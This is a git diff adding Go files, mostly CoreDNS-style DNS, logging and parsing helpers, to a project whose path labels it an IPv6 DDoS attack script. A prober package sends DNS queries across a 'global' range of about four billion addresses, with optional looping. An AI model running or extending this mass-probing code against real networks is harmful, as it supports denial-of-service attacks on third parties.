+ if err != nil {
+ return req, err
+ }
+
+ req.Header.Set("content-type", MimeType)
+ req.Header.Set("accept", MimeType)
+ return req, nil
+
+ default:
+ return nil, fmt.Errorf("method not allowed: %s", method)
+ }
+}
+
+// ResponseToMsg converts a http.Response to a dns message.
+func ResponseToMsg(resp *http.Response) (*dns.Msg, error) {
+ defer resp.Body.Close()
+
+ return toMsg(resp.Body)
+}
+
+// RequestToMsg converts a http.Request to a dns message.
+func RequestToMsg(req *http.Request) (*dns.Msg, error) {
+ switch req.Method {
+ case http.MethodGet:
+ return requestToMsgGet(req)
+
+ case http.MethodPost:
+ return requestToMsgPost(req)
+
+ default:
+ return nil, fmt.Errorf("method not allowed: %s", req.Method)
+ }
+}
+
+// requestToMsgPost extracts the dns message from the request body.
+func requestToMsgPost(req *http.Request) (*dns.Msg, error) {
+ defer req.Body.Close()
+ return toMsg(req.Body)
+}
+
+// requestToMsgGet extract the dns message from the GET request.
+func requestToMsgGet(req *http.Request) (*dns.Msg, error) {
+ values := req.URL.Query()
+ b64, ok := values["dns"]
+ if !ok {
+ return nil, fmt.Errorf("no 'dns' query parameter found")
+ }
+ if len(b64) != 1 {
+ return nil, fmt.Errorf("multiple 'dns' query values found")
+ }
+ return base64ToMsg(b64[0])
+}
+
+func toMsg(r io.ReadCloser) (*dns.Msg, error) {
+ buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))
+ if err != nil {
+ return nil, err
+ }
+ m := new(dns.Msg)
+ err = m.Unpack(buf)
+ return m, err
+}
+
+func base64ToMsg(b64 string) (*dns.Msg, error) {
+ buf, err := b64Enc.DecodeString(b64)
+ if err != nil {
+ return nil, err
+ }
+
+ m := new(dns.Msg)
+ err = m.Unpack(buf)
+
+ return m, err
+}
+
+var b64Enc = base64.RawURLEncoding
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/edns/edns.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/edns/edns.go
new file mode 100644
index 0000000..1f25ed6
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/edns/edns.go
@@ -0,0 +1,70 @@
+// Package edns provides function useful for adding/inspecting OPT records to/in messages.
+package edns
+
+import (
+ "errors"
+ "github.com/miekg/dns"
+ "sync"
+)
+
+var sup = &supported{m: make(map[uint16]struct{})}
+
+type supported struct {
+ m map[uint16]struct{}
+ sync.RWMutex
+}
+
+// SetSupportedOption adds a new supported option the set of EDNS0 options that we support. Plugins typically call
+// this in their setup code to signal support for a new option.
+// By default we support:
+// dns.EDNS0NSID, dns.EDNS0EXPIRE, dns.EDNS0COOKIE, dns.EDNS0TCPKEEPALIVE, dns.EDNS0PADDING. These
+// values are not in this map and checked directly in the server.
+func SetSupportedOption(option uint16) {
+ sup.Lock()
+ sup.m[option] = struct{}{}
+ sup.Unlock()
+}
+
+// SupportedOption returns true if the option code is supported as an extra EDNS0 option.
+func SupportedOption(option uint16) bool {
+ sup.RLock()
+ _, ok := sup.m[option]
+ sup.RUnlock()
+ return ok
+}
+
+// Version checks the EDNS version in the request. If error
+// is nil everything is OK and we can invoke the plugin. If non-nil, the
+// returned Msg is valid to be returned to the client (and should).
+func Version(req *dns.Msg) (*dns.Msg, error) {
+ opt := req.IsEdns0()
+ if opt == nil {
+ return nil, nil
+ }
+ if opt.Version() == 0 {
+ return nil, nil
+ }
+ m := new(dns.Msg)
+ m.SetReply(req)
+
+ o := new(dns.OPT)
+ o.Hdr.Name = "."
+ o.Hdr.Rrtype = dns.TypeOPT
+ o.SetVersion(0)
+ m.Rcode = dns.RcodeBadVers
+ o.SetExtendedRcode(dns.RcodeBadVers)
+ m.Extra = []dns.RR{o}
+
+ return m, errors.New("EDNS0 BADVERS")
+}
+
+// Size returns a normalized size based on proto.
+func Size(proto string, size uint16) uint16 {
+ if proto == "tcp" {
+ return dns.MaxMsgSize
+ }
+ if size < dns.MinMsgSize {
+ return dns.MinMsgSize
+ }
+ return size
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/http/http.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/http/http.go
new file mode 100644
index 0000000..9a378c5
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/http/http.go
@@ -0,0 +1,39 @@
+package http
+
+import (
+ "encoding/json"
+ "fmt"
+ "net/http"
+)
+
+// ParseRequest 解析HTTP请求中的URL参数,目前仅支持GET方法
+func ParseRequest(req *http.Request) (map[string][]string, error) {
+ switch req.Method {
+ case http.MethodGet:
+ return getRequest(req)
+ case http.MethodPost:
+ return postRequest(req)
+
+ default:
+ return nil, fmt.Errorf("method not allowed: %s", req.Method)
+ }
+}
+
+func getRequest(req *http.Request) (map[string][]string, error) {
+ r := make(map[string][]string)
+ for k, v := range req.URL.Query() {
+ r[k] = v
+ }
+ return r, nil
+}
+
+// 支持json方式处理
+func postRequest(req *http.Request) (map[string][]string, error) {
+ r := make(map[string][]string)
+ decoder := json.NewDecoder(req.Body)
+ err := decoder.Decode(&r)
+ if err != nil {
+ return nil, err
+ }
+ return r, nil
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/listener.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/listener.go
new file mode 100644
index 0000000..75e59dc
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/listener.go
@@ -0,0 +1,139 @@
+package log
+
+import "sync"
+
+// Listener listens for all log prints of plugin loggers aka loggers with plugin name.
+// When a plugin logger gets called, it should first call the same method in the Listener object.
+// A usage example is, the external plugin k8s_event will replicate log prints to Kubernetes events.
+type Listener interface {
+ Name() string
+ Debug(plugin string, v ...interface{})
+ Debugf(plugin string, format string, v ...interface{})
+ Info(plugin string, v ...interface{})
+ Infof(plugin string, format string, v ...interface{})
+ Warning(plugin string, v ...interface{})
+ Warningf(plugin string, format string, v ...interface{})
+ Error(plugin string, v ...interface{})
+ Errorf(plugin string, format string, v ...interface{})
+ Fatal(plugin string, v ...interface{})
+ Fatalf(plugin string, format string, v ...interface{})
+}
+
+type listeners struct {
+ listeners []Listener
+ sync.RWMutex
+}
+
+var ls *listeners
+
+func init() {
+ ls = &listeners{}
+ ls.listeners = make([]Listener, 0)
+}
+
+// RegisterListener register a listener object.
+func RegisterListener(new Listener) error {
+ ls.Lock()
+ defer ls.Unlock()
+ for k, l := range ls.listeners {
+ if l.Name() == new.Name() {
+ ls.listeners[k] = new
+ return nil
+ }
+ }
+ ls.listeners = append(ls.listeners, new)
+ return nil
+}
+
+// DeregisterListener deregister a listener object.
+func DeregisterListener(old Listener) error {
+ ls.Lock()
+ defer ls.Unlock()
+ for k, l := range ls.listeners {
+ if l.Name() == old.Name() {
+ ls.listeners = append(ls.listeners[:k], ls.listeners[k+1:]...)
+ return nil
+ }
+ }
+ return nil
+}
+
+func (ls *listeners) debug(plugin string, v ...interface{}) {
+ ls.RLock()
+ for _, l := range ls.listeners {
+ l.Debug(plugin, v...)
+ }
+ ls.RUnlock()
+}
+
+func (ls *listeners) debugf(plugin string, format string, v ...interface{}) {
+ ls.RLock()
+ for _, l := range ls.listeners {
+ l.Debugf(plugin, format, v...)
+ }
+ ls.RUnlock()
+}
+
+func (ls *listeners) info(plugin string, v ...interface{}) {
+ ls.RLock()
+ for _, l := range ls.listeners {
+ l.Info(plugin, v...)
+ }
+ ls.RUnlock()
+}
+
+func (ls *listeners) infof(plugin string, format string, v ...interface{}) {
+ ls.RLock()
+ for _, l := range ls.listeners {
+ l.Infof(plugin, format, v...)
+ }
+ ls.RUnlock()
+}
+
+func (ls *listeners) warning(plugin string, v ...interface{}) {
+ ls.RLock()
+ for _, l := range ls.listeners {
+ l.Warning(plugin, v...)
+ }
+ ls.RUnlock()
+}
+
+func (ls *listeners) warningf(plugin string, format string, v ...interface{}) {
+ ls.RLock()
+ for _, l := range ls.listeners {
+ l.Warningf(plugin, format, v...)
+ }
+ ls.RUnlock()
+}
+
+func (ls *listeners) error(plugin string, v ...interface{}) {
+ ls.RLock()
+ for _, l := range ls.listeners {
+ l.Error(plugin, v...)
+ }
+ ls.RUnlock()
+}
+
+func (ls *listeners) errorf(plugin string, format string, v ...interface{}) {
+ ls.RLock()
+ for _, l := range ls.listeners {
+ l.Errorf(plugin, format, v...)
+ }
+ ls.RUnlock()
+}
+
+func (ls *listeners) fatal(plugin string, v ...interface{}) {
+ ls.RLock()
+ for _, l := range ls.listeners {
+ l.Fatal(plugin, v...)
+ }
+ ls.RUnlock()
+}
+
+func (ls *listeners) fatalf(plugin string, format string, v ...interface{}) {
+ ls.RLock()
+ for _, l := range ls.listeners {
+ l.Fatalf(plugin, format, v...)
+ }
+ ls.RUnlock()
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/log.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/log.go
new file mode 100644
index 0000000..0589a34
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/log.go
@@ -0,0 +1,113 @@
+// Package log implements a small wrapper around the std lib log package. It
+// implements log levels by prefixing the logs with [INFO], [DEBUG], [WARNING]
+// or [ERROR]. Debug logging is available and enabled if the *debug* plugin is
+// used.
+//
+// log.Info("this is some logging"), will log on the Info level.
+//
+// log.Debug("this is debug output"), will log in the Debug level, etc.
+package log
+
+import (
+ "fmt"
+ "io"
+ golog "log"
+ "os"
+ "sync"
+)
+
+// D controls whether we should output debug logs. If true, we do, once set
+// it can not be unset.
+var D = &d{}
+
+type d struct {
+ on bool
+ sync.RWMutex
+}
+
+// Set enables debug logging.
+func (d *d) Set() {
+ d.Lock()
+ d.on = true
+ d.Unlock()
+}
+
+// Clear disables debug logging.
+func (d *d) Clear() {
+ d.Lock()
+ d.on = false
+ d.Unlock()
+}
+
+// Value returns if debug logging is enabled.
+func (d *d) Value() bool {
+ d.RLock()
+ b := d.on
+ d.RUnlock()
+ return b
+}
+
+// logf calls log.Printf prefixed with level.
+func logf(level, format string, v ...interface{}) {
+ golog.Print(level, fmt.Sprintf(format, v...))
+}
+
+// log calls log.Print prefixed with level.
+func log(level string, v ...interface{}) {
+ golog.Print(level, fmt.Sprint(v...))
+}
+
+// Debug is equivalent to log.Print(), but prefixed with "[DEBUG] ". It only outputs something
+// if D is true.
+func Debug(v ...interface{}) {
+ if !D.Value() {
+ return
+ }
+ log(debug, v...)
+}
+
+// Debugf is equivalent to log.Printf(), but prefixed with "[DEBUG] ". It only outputs something
+// if D is true.
+func Debugf(format string, v ...interface{}) {
+ if !D.Value() {
+ return
+ }
+ logf(debug, format, v...)
+}
+
+// Info is equivalent to log.Print, but prefixed with "[INFO] ".
+func Info(v ...interface{}) { log(info, v...) }
+
+// Infof is equivalent to log.Printf, but prefixed with "[INFO] ".
+func Infof(format string, v ...interface{}) { logf(info, format, v...) }
+
+// Warning is equivalent to log.Print, but prefixed with "[WARNING] ".
+func Warning(v ...interface{}) { log(warning, v...) }
+
+// Warningf is equivalent to log.Printf, but prefixed with "[WARNING] ".
+func Warningf(format string, v ...interface{}) { logf(warning, format, v...) }
+
+// Error is equivalent to log.Print, but prefixed with "[ERROR] ".
+func Error(v ...interface{}) { log(err, v...) }
+
+// Errorf is equivalent to log.Printf, but prefixed with "[ERROR] ".
+func Errorf(format string, v ...interface{}) { logf(err, format, v...) }
+
+// Fatal is equivalent to log.Print, but prefixed with "[FATAL] ", and calling
+// os.Exit(1).
+func Fatal(v ...interface{}) { log(fatal, v...); os.Exit(1) }
+
+// Fatalf is equivalent to log.Printf, but prefixed with "[FATAL] ", and calling
+// os.Exit(1)
+func Fatalf(format string, v ...interface{}) { logf(fatal, format, v...); os.Exit(1) }
+
+// Discard sets the log output to /dev/null.
+func Discard() { golog.SetOutput(io.Discard) }
+
+const (
+ debug = "[DEBUG] "
+ err = "[ERROR] "
+ fatal = "[FATAL] "
+ info = "[INFO] "
+ warning = "[WARNING] "
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/plugin.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/plugin.go
new file mode 100644
index 0000000..1be79f1
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/plugin.go
@@ -0,0 +1,91 @@
+package log
+
+import (
+ "fmt"
+ "os"
+)
+
+// P is a logger that includes the plugin doing the logging.
+type P struct {
+ plugin string
+}
+
+// NewWithPlugin returns a logger that includes "plugin/name: " in the log message.
+// I.e [INFO] plugin/<name>: message.
+func NewWithPlugin(name string) P { return P{"plugin/" + name + ": "} }
+
+func (p P) logf(level, format string, v ...interface{}) {
+ log(level, p.plugin, fmt.Sprintf(format, v...))
+}
+
+func (p P) log(level string, v ...interface{}) {
+ log(level+p.plugin, v...)
+}
+
+// Debug logs as log.Debug.
+func (p P) Debug(v ...interface{}) {
+ if !D.Value() {
+ return
+ }
+ ls.debug(p.plugin, v...)
+ p.log(debug, v...)
+}
+
+// Debugf logs as log.Debugf.
+func (p P) Debugf(format string, v ...interface{}) {
+ if !D.Value() {
+ return
+ }
+ ls.debugf(p.plugin, format, v...)
+ p.logf(debug, format, v...)
+}
+
+// Info logs as log.Info.
+func (p P) Info(v ...interface{}) {
+ ls.info(p.plugin, v...)
+ p.log(info, v...)
+}
+
+// Infof logs as log.Infof.
+func (p P) Infof(format string, v ...interface{}) {
+ ls.infof(p.plugin, format, v...)
+ p.logf(info, format, v...)
+}
+
+// Warning logs as log.Warning.
+func (p P) Warning(v ...interface{}) {
+ ls.warning(p.plugin, v...)
+ p.log(warning, v...)
+}
+
+// Warningf logs as log.Warningf.
+func (p P) Warningf(format string, v ...interface{}) {
+ ls.warningf(p.plugin, format, v...)
+ p.logf(warning, format, v...)
+}
+
+// Error logs as log.Error.
+func (p P) Error(v ...interface{}) {
+ ls.error(p.plugin, v...)
+ p.log(err, v...)
+}
+
+// Errorf logs as log.Errorf.
+func (p P) Errorf(format string, v ...interface{}) {
+ ls.errorf(p.plugin, format, v...)
+ p.logf(err, format, v...)
+}
+
+// Fatal logs as log.Fatal and calls os.Exit(1).
+func (p P) Fatal(v ...interface{}) {
+ ls.fatal(p.plugin, v...)
+ p.log(fatal, v...)
+ os.Exit(1)
+}
+
+// Fatalf logs as log.Fatalf and calls os.Exit(1).
+func (p P) Fatalf(format string, v ...interface{}) {
+ ls.fatalf(p.plugin, format, v...)
+ p.logf(fatal, format, v...)
+ os.Exit(1)
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/runtime.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/runtime.go
new file mode 100644
index 0000000..de54d17
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/runtime.go
@@ -0,0 +1,12 @@
+package log
+
+import "runtime"
+
+// 获取运行时函数
+func RunFuncName() (string, int) {
+ _, file, line, ok := runtime.Caller(1)
+ if ok {
+ return file, line
+ }
+ return "null", 0
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/nonwriter/nonwriter.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/nonwriter/nonwriter.go
new file mode 100644
index 0000000..a82e42b
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/nonwriter/nonwriter.go
@@ -0,0 +1,19 @@
+// Package nonwriter implements a dns.ResponseWriter that never writes, but captures the dns.Msg being written.
+package nonwriter
+
+import "github.com/miekg/dns"
+
+// Writer is a type of ResponseWriter that captures the message, but never writes to the client.
+type Writer struct {
+ dns.ResponseWriter
+ Msg *dns.Msg
+}
+
+// New makes and returns a new NonWriter.
+func New(w dns.ResponseWriter) *Writer { return &Writer{ResponseWriter: w} }
+
+// WriteMsg records the message, but doesn't write it itself.
+func (w *Writer) WriteMsg(res *dns.Msg) error {
+ w.Msg = res
+ return nil
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/host.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/host.go
new file mode 100644
index 0000000..692da8e
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/host.go
@@ -0,0 +1,121 @@
+package parse
+
+import (
+ "errors"
+ "fmt"
+ "github.com/miekg/dns"
+ "net"
+ "ohmydns2/plugin/pkg/transport"
+ "os"
+ "strings"
+)
+
+// ErrNoNameservers is returned by HostPortOrFile if no servers can be parsed.
+var ErrNoNameservers = errors.New("no nameservers found")
+
+// Strips the zone, but preserves any port that comes after the zone
+func stripZone(host string) string {
+ if strings.Contains(host, "%") {
+ lastPercent := strings.LastIndex(host, "%")
+ newHost := host[:lastPercent]
+ return newHost
+ }
+ return host
+}
+
+// HostPortOrFile parses the strings in s, each string can either be a
+// address, [scheme://]address:port or a filename. The address part is checked
+// and in case of filename a resolv.conf like file is (assumed) and parsed and
+// the nameservers found are returned.
+func HostPortOrFile(s ...string) ([]string, error) {
+ var servers []string
+ for _, h := range s {
+ trans, host := Transport(h)
+ if len(host) == 0 {
+ return servers, fmt.Errorf("invalid address: %q", h)
+ }
+
+ if trans == transport.UNIX {
+ servers = append(servers, trans+"://"+host)
+ continue
+ }
+
+ addr, _, err := net.SplitHostPort(host)
+
+ if err != nil {
+ // Parse didn't work, it is not a addr:port combo
+ hostNoZone := stripZone(host)
+ if net.ParseIP(hostNoZone) == nil {
+ ss, err := tryFile(host)
+ if err == nil {
+ servers = append(servers, ss...)
+ continue
+ }
+ return servers, fmt.Errorf("not an IP address or file: %q", host)
+ }
+ var ss string
+ switch trans {
+ case transport.DNS:
+ ss = net.JoinHostPort(host, transport.Port)
+ case transport.TLS:
+ ss = transport.TLS + "://" + net.JoinHostPort(host, transport.TLSPort)
+ case transport.GRPC:
+ ss = transport.GRPC + "://" + net.JoinHostPort(host, transport.GRPCPort)
+ case transport.HTTPS:
+ ss = transport.HTTPS + "://" + net.JoinHostPort(host, transport.HTTPSPort)
+ }
+ servers = append(servers, ss)
+ continue
+ }
+
+ if net.ParseIP(stripZone(addr)) == nil {
+ ss, err := tryFile(host)
+ if err == nil {
+ servers = append(servers, ss...)
+ continue
+ }
+ return servers, fmt.Errorf("not an IP address or file: %q", host)
+ }
+ servers = append(servers, h)
+ }
+ if len(servers) == 0 {
+ return servers, ErrNoNameservers
+ }
+ return servers, nil
+}
+
+// Try to open this is a file first.
+func tryFile(s string) ([]string, error) {
+ c, err := dns.ClientConfigFromFile(s)
+ if err == os.ErrNotExist {
+ return nil, fmt.Errorf("failed to open file %q: %q", s, err)
+ } else if err != nil {
+ return nil, err
+ }
+
+ servers := []string{}
+ for _, s := range c.Servers {
+ servers = append(servers, net.JoinHostPort(s, c.Port))
+ }
+ return servers, nil
+}
+
+// HostPort will check if the host part is a valid IP address, if the
+// IP address is valid, but no port is found, defaultPort is added.
+func HostPort(s, defaultPort string) (string, error) {
+ addr, port, err := net.SplitHostPort(s)
+ if port == "" {
+ port = defaultPort
+ }
+ if err != nil {
+ if net.ParseIP(s) == nil {
+ return "", fmt.Errorf("must specify an IP address: `%s'", s)
+ }
+ return net.JoinHostPort(s, port), nil
+ }
+
+ if net.ParseIP(addr) == nil {
+ return "", fmt.Errorf("must specify an IP address: `%s'", addr)
+ }
+ return net.JoinHostPort(addr, port), nil
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/parse.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/parse.go
new file mode 100644
index 0000000..1ea364c
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/parse.go
@@ -0,0 +1,37 @@
+// Package parse contains functions that can be used in the setup code for plugins.
+package parse
+
+import (
+ "fmt"
+ "github.com/coredns/caddy"
+ "ohmydns2/plugin/pkg/transport"
+)
+
+// TransferIn parses transfer statements: 'transfer from [address...]'.
+func TransferIn(c *caddy.Controller) (froms []string, err error) {
+ if !c.NextArg() {
+ return nil, c.ArgErr()
+ }
+ value := c.Val()
+ switch value {
+ default:
+ return nil, c.Errf("unknown property %s", value)
+ case "from":
+ froms = c.RemainingArgs()
+ if len(froms) == 0 {
+ return nil, c.ArgErr()
+ }
+ for i := range froms {
+ if froms[i] != "*" {
+ normalized, err := HostPort(froms[i], transport.Port)
+ if err != nil {
+ return nil, err
+ }
+ froms[i] = normalized
+ } else {
+ return nil, fmt.Errorf("can't use '*' in transfer from")
+ }
+ }
+ }
+ return froms, nil
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/transport.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/transport.go
new file mode 100644
index 0000000..32f7b37
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/transport.go
@@ -0,0 +1,36 @@
+package parse
+
+import (
+ "ohmydns2/plugin/pkg/transport"
+ "strings"
+)
+
+// Transport 函数返回 s 中定义的传输协议和一个删除传输前缀的字符串(如果有)。如果未定义传输协议,则默认为传输DNS(Do53)
+func Transport(s string) (trans string, addr string) {
+ switch {
+ case strings.HasPrefix(s, transport.TLS+"://"):
+ s = s[len(transport.TLS+"://"):]
+ return transport.TLS, s
+
+ case strings.HasPrefix(s, transport.DNS+"://"):
+ s = s[len(transport.DNS+"://"):]
+ return transport.DNS, s
+
+ case strings.HasPrefix(s, transport.GRPC+"://"):
+ s = s[len(transport.GRPC+"://"):]
+ return transport.GRPC, s
+
+ case strings.HasPrefix(s, transport.HTTPS+"://"):
+ s = s[len(transport.HTTPS+"://"):]
+ return transport.HTTPS, s
+
+ case strings.HasPrefix(s, transport.UNIX+"://"):
+ s = s[len(transport.UNIX+"://"):]
+ return transport.UNIX, s
+ case strings.HasPrefix(s, transport.PROBER+"://"):
+ s = s[len(transport.PROBER+"://"):]
+ return transport.PROBER, s
+ }
+
+ return transport.DNS, s
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/args.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/args.go
new file mode 100644
index 0000000..9da998b
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/args.go
@@ -0,0 +1,30 @@
+package prober
+
+// 配置键值
+const (
+ prange = "range"
+ ptype = "ptype"
+ ploop = "loop"
+ pnet = "netType"
+ pTimeout = 5
+ PAddrNum = "addrNum"
+ Pchain = "pchain"
+)
+
+const (
+ defaultPrange = "global"
+ defaultPtype = "v64"
+ defaultTarget = "n64.top"
+ defaultStartsubv64 = "v4-1"
+ //defaultMaxGRout = 4000 //默认协程最大运行数
+ defaultMaxDial = 5
+ defaultPloop = false
+ // defaultPnum 提供了一个全球探测的目的地址大致范围
+ defaultPnum = 4000000000
+)
+
+// TODO:实现功能
+// 检查输入参数是否有定义,0代表一切正常,1代表有严重错误,无法创建,2代表有额外未定义参数,但仍可创建
+func VaildArgs(args map[string][]string) (string, int) {
+ return "OK", 0
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober.go
new file mode 100644
index 0000000..a63113b
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober.go
@@ -0,0 +1,150 @@
+package prober
+
+import (
+ "context"
+ "crypto/tls"
+ "github.com/miekg/dns"
+ "github.com/panjf2000/ants/v2"
+ "math"
+ "net"
+ olog "ohmydns2/plugin/pkg/log"
+ "sync"
+)
+
+type Prober struct {
+ Prange []string `json:"prange"` // 探测范围
+ Ptype string `json:"ptype"` // 探针类型
+ AllAddrNum int `json:"allAddrnum"` // 总共需要探测的地址数
+ ScanAddrNum int `json:"scanAddrNum"` // 已探测过的地址数
+ Pid int `json:"pid"` // 探测器ID
+ Loop bool `json:"loop"` //是否持续探测
+ m *sync.Mutex
+ stop context.CancelFunc // stop信号量
+ removeFromPGList func() //从探测器列表中删除对应记录
+ c *dns.Client
+}
+
+// 新建探测器
+func NewProber(ctx context.Context) *Prober {
+ p := new(Prober)
+
+ //配置探测器
+ ok := true
+ if p.Prange, ok = ctx.Value(prange).([]string); !ok {
+ p.Prange[0] = defaultPrange
+ }
+ if p.Ptype, ok = ctx.Value(ptype).(string); !ok {
+ p.Ptype = defaultPtype
+ }
+ if p.Loop, ok = ctx.Value(ploop).(bool); !ok {
+ p.Loop = defaultPloop
+ }
+ if p.AllAddrNum, ok = ctx.Value(PAddrNum).(int); !ok {
+ p.AllAddrNum = defaultPnum
+ }
+
+ // 配置客户端
+ p.c = &dns.Client{
+ Timeout: pTimeout,
+ }
+ switch ctx.Value(pnet) {
+ case "tcp":
+ p.c.Net = "tcp"
+ case "tcp-tls":
+ p.c.Net = "tcp-tls"
+ // TODO:tls配置
+ p.c.TLSConfig = &tls.Config{}
+ default:
+ break
+ }
+ return p
+}
+
+// Start 探测代码
+func (p *Prober) Start(ctx context.Context, target chan net.IP, pool *ants.Pool) {
+
+ var wg sync.WaitGroup
+
+ // 探测轮数
+ round := 1
+ if p.Loop {
+ round = math.MaxInt
+ }
+ for {
+ // 下一轮次的数据
+ for {
+ if ip, ok := <-target; ok {
+ select {
+ case <-ctx.Done():
+ // 中途取消
+ return
+ default:
+ err := pool.Submit(p.Probe(ctx, ip, &wg))
+ if err != nil {
+ olog.Errorf("prober/Start: %v", err.Error())
+ return
+ }
+ p.addScanAddrNum()
+ }
+ } else {
+ // 一轮扫描完成
+ round -= 1
+ // 探测轮数归零,退出
+ if round == 0 {
+ err := p.exit()
+ if err != nil {
+ return
+ }
+ return
+ }
+ // 未归零,开始下一轮
+ break
+ }
+ }
+ }
+}
+
+func (p *Prober) Stop() error {
+ p.stop()
+ return nil
+}
+
+func (p *Prober) exit() error {
+ p.removeFromPGList()
+ return nil
+}
+
+func (p *Prober) addScanAddrNum() {
+ // 加锁防止数据错误
+ p.m.Lock()
+ p.ScanAddrNum += 1
+ p.m.Unlock()
+}
+
+// Probe 所有探测方法的封装方法
+func (p *Prober) Probe(ctx context.Context, ip net.IP, wg *sync.WaitGroup) func() {
+ msg := new(dns.Msg)
+ pcf := ctx.Value(Pchain).(*PBConfig)
+ return func() {
+ // 将目标IP传入上下文
+ ctx = context.WithValue(ctx, Target, ip)
+ _, _ = pcf.PluginChain.ProbeDNS(ctx, p.c, msg)
+ wg.Done()
+ }
+}
+
+//func (p *Prober) Probev64(ip net.IP) error {
+// msg := new(dns.Msg)
+// msg.SetQuestion(dns.Fqdn(p.makeProbe(ip)), dns.TypeTXT)
+// // TODO:展示响应内容
+// _, _, err := p.c.Exchange(msg, ip.String()+":53")
+// if err != nil {
+// return err
+// }
+// return nil
+//}
+
+const (
+ Paramkey = "httpparam"
+ Target = "targetip"
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober_config.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober_config.go
new file mode 100644
index 0000000..edcb142
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober_config.go
@@ -0,0 +1,129 @@
+package prober
+
+import (
+ "context"
+ "crypto/tls"
+ "fmt"
+ "net/http"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/pkg/request"
+ "time"
+)
+
+// PBConfig configuration for a single prober.
+type PBConfig struct {
+
+ // one or several hostnames to bind the server to.
+ // defaults to a single empty string that denote the wildcard address
+ ListenHosts []string
+
+ // The port to listen on.
+ Port string
+
+ // Root points to a base directory we find user defined "things".
+ // First consumer is the file plugin to looks for zone files in this place.
+ Root string
+
+ // Debug controls the panic/recover mechanism that is enabled by default.
+ Debug bool
+
+ // Stacktrace controls including stacktrace as part of log from recover mechanism, it is disabled by default.
+ Stacktrace bool
+
+ // 使用的传输协议,目前为HTTP
+ Transport string
+
+ // If this function is not nil it will be used to inspect and validate
+ // HTTP requests. Although this isn't referenced in-tree, external plugins
+ // may depend on it.
+ HTTPRequestValidateFunc func(*http.Request) bool
+
+ // FilterFuncs is used to further filter access
+ // to this handler. E.g. to limit access to a reverse zone
+ // on a non-octet boundary, i.e. /17
+ FilterFuncs []FilterFunc
+
+ // ViewName is the name of the Viewer PLugin defined in the Config
+ ViewName string
+
+ // TLSConfig when listening for encrypted connections (gRPC, DNS-over-TLS).
+ TLSConfig *tls.Config
+
+ // Timeouts for TCP, TLS and HTTPS servers.
+ ReadTimeout time.Duration
+ WriteTimeout time.Duration
+ IdleTimeout time.Duration
+
+ // TSIG secrets, [name]key.
+ TsigSecret map[string]string
+
+ // Plugin stack.
+ Plugin []plugin.Pplugin
+
+ // Compiled plugin stack.
+ PluginChain plugin.Prober
+
+ // Plugin interested in announcing that they exist, so other plugin can call methods
+ // on them should register themselves here. The name should be the name as return by the
+ // Handler's Name method.
+ registry map[string]plugin.Prober
+
+ // FirstConfigInBlock is used to reference the first config in a server block, for the
+ // purpose of sharing single instance of each plugin among all zones in a server block.
+ FirstConfigInBlock *PBConfig
+
+ // MetaCollector references the first MetadataCollector plugin, if one exists
+ MetaCollector ProberMetadataCollector
+}
+
+// FilterFunc is a function that filters requests from the Config
+type FilterFunc func(context.Context, *request.HTTPRequest) bool
+
+// KeyForConfig builds a key for identifying the configs during setup time
+func KeyForConfig(blocIndex int, blocKeyIndex int) string {
+ return fmt.Sprintf("%d:%d", blocIndex, blocKeyIndex)
+}
+
+// AddPlugin adds a plugin to a site's plugin stack.
